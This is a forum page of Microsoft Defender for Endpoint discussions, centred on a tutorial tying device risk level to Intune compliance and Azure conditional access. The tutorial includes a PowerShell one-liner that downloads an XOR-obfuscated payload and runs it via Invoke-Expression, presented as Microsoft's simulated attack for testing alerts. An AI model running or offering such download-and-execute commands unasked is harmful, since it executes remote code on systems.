Forum Widgets
Latest Discussions
MsSenseS.exe high CPU usage
Good Afternoon - We have a few servers in Azure that have extremely high CPU usage due to the "MsSenseS.exe" process. Is there anything that can be done to alleviate this? Seems like this process is related to Defender or some sort of Microsoft sensor. I have opened a ticket with Microsoft Support which has not been that helpful.
Windows Defender AV for Server 2012 R2 and 2008 R2 | Microsoft Defender ATP Onboarding
I am planning to onboard windows server 2012 R2 and 2008 R2 on MDATP. Currently the servers have Trend Micro as existing AV solution and we need to uninstall it. Request if someone can let me know what is the way to install Defender Antivirus on these servers so that MS services can be leveraged at its best. P.S. - The servers are not being managed by SCCM.Defender for Endpoint(MDE): Integrate with Compliance & Conditional Access Policy
In this post, we discuss how to integrate Defender for Endpoint(MDE), compliance policy, and conditional access policy to protect company resources, devices, and data by enforcing security and compliance requirements. We use Microsoft Endpoint Manager admin center (Intune) for compliance policy and Azure Active Directory for conditional access policy and both will automatically sync with MDE. Why do we need this integration? As in the below image when we see any device 'Risk level -High', it means the device has an active alert/incident. In other words, the device is under attack( it might be a false positive). It can take some time for SOC to pick the alert/incident and take the required action so there is some time gap between the device being at high risk and action taken by the required team. This integration fills that gap by taking automatic action. This will prevent such devices from accessing company data and further damage. High-level flow diagram In the below diagram, let's assume at #1 device got multiple attacks. Then as per MDE behavior at #2 MDE puts the device into high risk. #3 MDM's compliance policy sees that the device risk level is high and makes the device non-compliant. At #4 the device does not meet the CA policy requirement and CA triggers and at #5 device lost access to the Office 365 apps. Device's Risk level: A device's risk level reflects the overall risk assessment of the device based on the combination of factors, including the types and severity of active alerts on the device. Compliance policy: A compliance policy is a set of settings/rules such as password requirements, device encryption, antivirus software, Defender for Endpoint device risk level, etc. that are enforced on devices to ensure that they comply with the company's security and compliance requirements. Here we will more focus on Defedner for Endpoint's device risk level and will configure if the device risk is high then make the device non-compliant. Conditional access policy: A conditional access policy is a set of rules/settings that can determine who can access the organization's data and resources that only compliant devices can access. Here we will configure the policy that non-compliant devices cannot access Office365 apps. Scenario for this step-by-step guide MDM(Intune) managed device has already been onboarded to the Defender for Endpoint. You may follow this guide to onboard the device. We create a compliance policy from the Microsoft Endpoint Manager admin center (Intune) and deploy it to the target group of devices that includes settings if the device risk level is high then make the device non-compliant. We create a conditional access policy from the Azure Active Directory portal with settings configured that only compliant devices can access office365 apps. Create Compliance Policy Assuming the device has already been onboarded so we directly jump into creating a compliance policy. Go to endpoint.microsoft.com, Devices->Compliance policies->Create policy. Choose the platform as desired. Provide a meaningful name. On the compliance settings window, we can leave the other settings as default. Here, the focus is on Microsoft Defender for Endpoint. We need to read the description carefully before choosing the risk level. 'Required the device to be at or under the machine risk level' 'Select the maximum allowed machine risk score for devices evaluated by Microsoft Defender for Endpoint. Devices which exceed this score get marked as noncompliant.' If we choose Medium, it means the device risk level up to medium (Medium and Low) is acceptable. The device will be non-compliant if it exceeds the medium that is high. In summary, the below configuration will make only the high-risk level device non-compliant. If we want to make the device non-compliant for both medium and high-risk level then we have to choose Low. Define the scope of the policy which is AAD group MDE_VM here. This policy will be applied to all the devices that are members of this group. Review the provided information and create the policy. The compliance policy has been created and assigned to the group. Now we create a conditional access policy. Create Conditional Access (CA) Policy Login to portal.azure.com, navigate to Azure Active Directory->Security->Conditional Access->Policies->Create policy. Here we have chosen Office365 so if the device becomes non-compliant then Office365 apps won't be accessible. You can choose applications as per your needs. Also, choose the target users or groups of users as well. Under Access controls, choose Grant access->Require device to be marked as compliant. Whenever the device becomes non-compliant then this policy will trigger and block access. We have all the policies in place. Let's test it and check if it works as expected or not. We have to attack the device so an alert generates and the device risk level goes high. We will use a simulated attack script provided by Microsoft and some malicious files. In Intune portal, we can see the device 'win10-intuneman' is showing as compliant. On the MDE portal, there is no risk level for the device 'win10-intuneman' Attack the Device Below is the simulated script, run this script multiple times so multiple alerts got generated and mark it as incidents. If there will be only one or two alerts then the device risk level might be medium only. Open the PowerShell and run the below script. The command will open Notepad as below. [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$xor = [System.Text.Encoding]::UTF8.GetBytes('WinATP-Intro-Injection');$base64String = (Invoke-WebRequest -URI https://wcdstaticfilesprdeus.blob.core.windows.net/wcdstaticfiles/WinATP-Intro-Fileless.txt -UseBasicParsing).Content;Try{ $contentBytes = [System.Convert]::FromBase64String($base64String) } Catch { $contentBytes = [System.Convert]::FromBase64String($base64String.Substring(3)) };$i = 0; $decryptedBytes = @();$contentBytes.foreach{ $decryptedBytes += $ -bxor $xor[$i]; $i++; if ($i -eq $xor.Length) {$i = 0} };Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($decryptedBytes)) After a few minutes, you can see the device risk level is high. Now the flow will be triggered. Intune/MDM made the device non-compliant. Then conditional access policy will be triggered. As per the conditional access policy, we lose access to the Office365 apps. We get messages like below. Once click on retry then it will show the device does not meet the company compliance requirement so you cannot access this app. What next From the security point of view, this integration improves the security measure but from the end-user perspective, it can be frustrating in the case of a false positive. To minimize that frustration we can use MDE automated investigation that will investigate the alert/incident and close automatically and put it back to the normal state. Let's have look at the below diagram. Flow #2: automated investigation & Flow #3 security operation Flow #2: Automated investigation: If the automated investigation has been enabled for the device then it will trigger and start the investigation. If the investigation is successful then the incident will be remediated and the device will back to its normal state. Once the risk level is not high then Intune will make the device compliant. Then Conditional access policy will meet the requirements and access to the Office 365 apps will be restored. Flow #3: The alert/incident will be picked by the SOC team and they will start the investigation. If the alert/incident has not been remediated by automated investigation then SOC will have to look deeper and based on the finding need to isolate the device or restrict the app execution. When the alert/incident will be resolved by the SOC then the same workflow will trigger (lower device risk level->compliant->ca policy->restore access to office 365 apps). Conclusion When we integrate compliance and conditional access policy with Defender for Endpoint, it allows the company to monitor and manage the security and compliance of devices. It also ensures that they control access to organization resources based on compliance status and MDE looks more powerful. Hope this was helpful, contact me on Twitter @sakaldeep for any queries.
Defender for Endpoint devices not showing up in security Portal
Hi All, I am just starting to roll out Defender for endpoint within my organisation. The majority of machines are hybrid Azure AD joined using a GPO. I have been able to get the PC's to register in the devices view in Endpoint Security dashboard however, they never show up in the devices view in the security dashboard. I am really confused about these two particular areas for administration. One seems to relate to intune but has the ability to rollout out defender for endpoint then in the other panel (security.microsoft.com) there are other settings in there like turning on EDR etc. Is there any documentation anywhere to explain why there are two places and how they link? I manage two other companies and they have been set up the same. Their PC's show in both places however for this one company, the devices never appear in the security portal so i cannot see if there are any problems etc. thanks PaulTamper Protection managed by administrator and OFF - cannot be enabled manually when joined on-prem
Hi all, We are currently only managing Microsoft Defender ATP via Group Policy and there is no GPO for tamper protection. But we cannot enable it manually either-. "This setting is managed by your administrator" and set tamper protection to OFF. When deploying a new Windows 10 I can enable it manually. When joining the computer to on-prem AD and GPO for Windows Defender ATP hits, temper protection is turned off and you cannot change it. Is this by design or is there a GPO setting interfering? Thanks!
ASR Logging for the Block settings
I'm trying to troubleshoot some office plugin which aren't functioning and I'm trying to determine whether it's the various Office block settings, which I've enumerated below. When Attack Surface Reduction blocks these events are they logged and if so where are those events located? Block Win32 API calls from Office macros Block JavaScript or VBScript from launching downloaded executable content Block Office communication application from creating child processes Block all Office applications from creating child processes Block Office applications from creating executable content Block Office applications from injecting code into other processes
